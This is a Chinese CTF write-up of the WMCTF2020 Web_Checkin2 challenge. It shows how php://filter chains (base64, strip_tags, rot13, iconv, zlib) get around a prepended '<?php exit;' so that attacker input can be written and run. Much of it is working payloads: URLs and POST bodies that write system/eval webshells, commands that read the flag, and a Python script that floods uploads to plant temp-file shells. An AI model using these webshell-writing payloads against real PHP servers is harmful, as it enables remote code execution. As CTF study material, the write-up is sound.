前两天看WMCTF2020的一道签到题,题目是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
}

可以看到这里最吸引人注意力的是最后的file_put_contents中的<?php exit();,虽然$content是我们可控的,但是无论写入什么,前面都会有<?php exit();阻止后面的代码执行。

另一个点是file_put_contents,第一个参数是要被写入数据的文件名 :

1
file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int

如果直接构造webshell,那么文件名会变得很奇怪。这是我第一次看到这到题的想法。

上面的问题中,最重要的就是如何绕过exit,这个问题其实在2009年就已经在 https://www.sektioneins.de/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability.html 被SektionEins GmbH解决了。是SektionEins GmbH在研究piwik的一个反序列化漏洞时遇到的问题,piwik的作者为了提高程序的安全性,在配置文件中加入了<?php exit;来防止攻击者写入恶意代码并执行,这也是很多php开发者会采取的一种常见的安全措施:

21

SektionEins GmbH指出,可以通过php://filter过滤器来绕过死亡exit。

而ph牛在他的一篇博客中也详细的描述了这个方法,所以以下的部分内容从ph牛的博客中摘取:

1
https://www.leavesongs.com/PENETRATION/php-filter-magic.html

情况一 2个变量

1
2
3
4
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

根据php://filter官方手册,可以借助php://filter向文件写入数据,https://www.php.net/manual/zh/wrappers.php.php

1

base64编码

第一种方法是利用base64编码,base64编码中只包含64个可打印的字符,即[A-Za-z0-9+/],遇到非法的字符如$则会跳过,仅从其中挑出合法的字符进行base64解码。

$content<?php exit;?>和用户可控输入的拼接结果,所以可以传入一串base64编码后的字符串,然后利用php://filter/write=convert.base64-decode 对其进行解码,因为<?;>和空格在base64解码的过程中都是非法字符,所以最后只会对phpexit这7个字符进行解码。

需要注意的一点是在base64是以4个byte为一组进行解码,phpexit一共七个字符,所以需要补充一个字符,否则我们传入的base64编码后的webshell将会被拿来补充这一个字节的空位,从而导致写入的webshell乱码。

1
2
3
4
PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs  ===base64encode===>  <?php system($_GET[1]);

POST:
txt=aPD9waHAgc3lzdGVtKCRfR0VUWzFdKTs=&filename=php://filter/write=convert.base64-decode/resource=shell.php

2

strip_tags

另一种方法是使用strip_tags函数:

10

利用strip_tags函数去除<?php exit;?>字符串。

测试代码:

1
2
<?php
echo readfile('php://filter/read=string.strip_tags/resource=php://input');

3

可以看到的是<?php exit;?>整个字符串都被去除了。但是如果我们直接传入我们的webshell,比如<?php phpinfo();?>,因为同样包含php标记,所以也会被直接去除。所以直接明文传输webshell肯定不行。幸而php://filter是支持多个过滤器的,所以可以将webshell进行base64编码,然后利用strip_tags先去除<?php exi?>后再利用conver.base64-decode过滤器进行解码:

1
2
POST:
txt=PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs=&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell2.php

4

rot13编码

另外一种方法是利用rot13编码。rot13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。对于<?php exit;?>中的非字母字符则会忽略,经过rot13编码后结果为:

11

最终的利用方式为:

1
2
3
<?php phpinfo(); ?>  ===rot13===>  <?cuc cucvasb(); ?>

txt=<?cuc cucvasb(); ?>&filename=php://filter/write=string.rot13/resource=shell3.php

5

当然如果开启了short_open_tag,那php解释器就会因为无法解释执行<?cuc rkvg;?>而报错了,所以rot13编码的使用前提是不开启short_open_tag

情况二 1个变量

1
2
3
<?php
$a = $_POST['txt'];
file_put_contents($a,"<?php exit;".$a);

在这种情况下,只有一个可控变量$a,此时我们构造的shell可以放在过滤器的位置,当php://filter遇到不认识的规则会报Warning,然后继续执行。

base64编码(not work)

在这种情况下,base64编码并不适用。原因是base64一般会认为=号是编码结束的符号,而在我们构造的php://filter过滤器中会出现多个=

rot13编码

rot13编码是一种很好的去除<?php exit;?>的方式,和情况1的利用方式一样构造:

1
txt=php://filter/write=string.rot13|<?cuc cucvasb();?>/resource=shell3.php

6

访问shell3.php,在short_open_tag关闭的情况下,虽然源码中有无关的部分,但是能正常执行<?php phpinfo();?>

7

iconv字符编码转换

另一种方法是使用iconv过滤器,本质思想和rot13是一样的,将<?php exit;?>通过字符转换转成php解析器无法解析的字符,在short_open_tags关闭的情况下就能够绕过死亡exit。

8

一种方式是利用UCS-2:

14

然后用php://filter对其进行解码就可以绕过<?php exit;?>

1
txt=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php

9

写入的内容为:

1
?<hp pxeti)(p;ph/:f/liet/rocvnre.tcino.vCU-SL2.ECU-SB2|E<?php phpinfo();?>r/seuocr=ehsle.lhp

除了UCS-2之外,还可以利用UCS-4,都需要注意的是,这两种方式都是对字符串进行2/4位反转,所以我们在构造的时候就要构造2(UCS-2)或是4(UCS-4)的倍数。

比如对于UCS-4,我们要进行补位,否则在编码或是解码的时候会报错:

15

需要在?<aa phpiphp(ofn>?;)之前保持字符个数是4的倍数:

1
2
3
4
5
6
7
<?php exit;  ==> 11

php://filter//convert.iconv.UCS-4LE.UCS-4BE| ==> 44

补充一个1个字符x,最后得到

$a = 'php://filter//convert.iconv.UCS-4LE.UCS-4BE|x?<aa phpiphp(ofn>?;)'

16

最后写入的内容是:

1
hp?<xe pp;ti/:phlif//retnoc/trevoci.U.vn4-SCU.EL4-SCx|EBaa<?php phpinfo();?>ser/cruohs=e4llephp.

WMCTF2020-Web_Checkin2

回到题目本身,这显然是属于第2种情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
}

但是对$content变量进行了过滤,过滤了/iconv|UCS|UTF|rot|quoted|base64/i,此时有两种方法可以绕过:

  1. 二次编码
  2. 过滤器绕过

方法一 二次编码绕过

php://filter在识别过滤器的时候,会对其进行url解码:

18

传入string.%72ot13会被再次解码:

19

而在$_GET请求中也会解码一次,所以选择过滤器rot13,可以将r字符进行二次编码绕过(%25%符号的url编码结果)。

payload:

1
2
3
http://192.168.247.130/index.php?content=php://filter/write=string.%2572ot13|<?cuc @riny($_TRG[_]);?>/resource=../b.php

view-source:http://192.168.247.130/b.php?_=system(%27cat%20/fffffllllllllaaaaaggggggg_as89c79as8%27);

17

这里第一个请求中写入的文件是../b.php,因为当前并不在/var/www/html根目录下执行:

1
2
3
$sandbox = '/var/www/html/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

当然很多时候服务器端会ban掉%25,可以用脚本跑一下还有没有其他的字符组合可以构造r的二次编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
$char = 'r'; #构造r的二次编码
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) {
for ($ascii2 = 0; $ascii2 < 256; $ascii2++) {
$aaa = '%'.$ascii1.'%'.$ascii2;
if(urldecode(urldecode($aaa)) == $char){
echo $char.': '.$aaa;
echo "\n";
}
}
}
?>
// r: %7%32

最后的payload为:

1
http://192.168.247.130/index.php?content=php://filter/write=string.%7%32ot13|<?cuc @riny($_TRG[_]);?>/resource=../b.php

方法二 过滤器绕过

虽然过滤了很多过滤器,但是还剩下zlibstring,所以官方题解给出的另一种方案是利用zlibzlib.deflate(压缩)和zlib.inflate(解压)以及string.tolower来绕过。

直接使用zlib.deflate和zlib.inflate肯定没有效果,所以在中间需要再利用一个过滤器去除掉<?php exit();,写了一个test case进行测试,看什么时候中间的过滤器会影响inflate的操作:

1
2
3
<?php
$a="php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=Cyc1e.php";
file_put_contents($a,"<?php exit();".$a);

发现当过滤器为string.tolower时,会将其中的<?php exit;部分处理掉。

payload:

1
2
3
4
5
http://192.168.247.130/index.php?content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?%3E%3C?php%0deval($_GET[1]);?%3E/resource=../a.php

http://192.168.247.130/a.php?1=system(%27ls%20/%27);

http://192.168.247.130/a.php?1=system(%27cat%20/fffffllllllllaaaaaggggggg_as89c79as8%27);

20

方法三 爆破临时文件

根据官方给出的wp,还有一种方法是爆破临时文件。环境特地设置了php 7.0.33版本,由于file_put_contents也可以利用伪协议,所以老问题,利用string.strip_tags会发生段错误,这时候上传一个shell会以临时文件的形式保存在/tmp中,利用require_once包含getshell即可(用一次就会被覆盖,所以直接反弹shell或者写马就行)。爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests 
import string
import itertools

charset = string.digits + string.letters

host = "web_checkin2.wmctf.wetolink.com"
port = 80
base_url = "http://%s:%d" % (host, port)

def upload_file_to_include(url, file_content):
files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
try:
response = requests.post(url, files=files)
except Exception as e:
print e

def generate_tmp_files():
file_content = '<?php system("xxxxxxxx");?>'
phpinfo_url = "%s/?content=php://filter/write=string.strip_tags/resource=Cyc1e.php" % (
base_url)
print phpinfo_url
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
print "[+] %d / %d" % (i, times)
upload_file_to_include(phpinfo_url, file_content)

if __name__ == "__main__":
generate_tmp_files()

但是还没测试,因为还需要特别搭建环境进行测试。

php://filter与不可用规则

php://filter在遇到不可用的规则的时候是会抛出一个warning,并且不会影响后面的程序继续执行,对源码进行了一个调试:

1
2
<?php
readfile("php://filter/read=string.strip_tags|PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/resource=http://www.example.com");

其中包含任意字符串PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs

在第160行和第163行会分别抛出一个warning:

13

跟入函数php_stream_filter_create()

12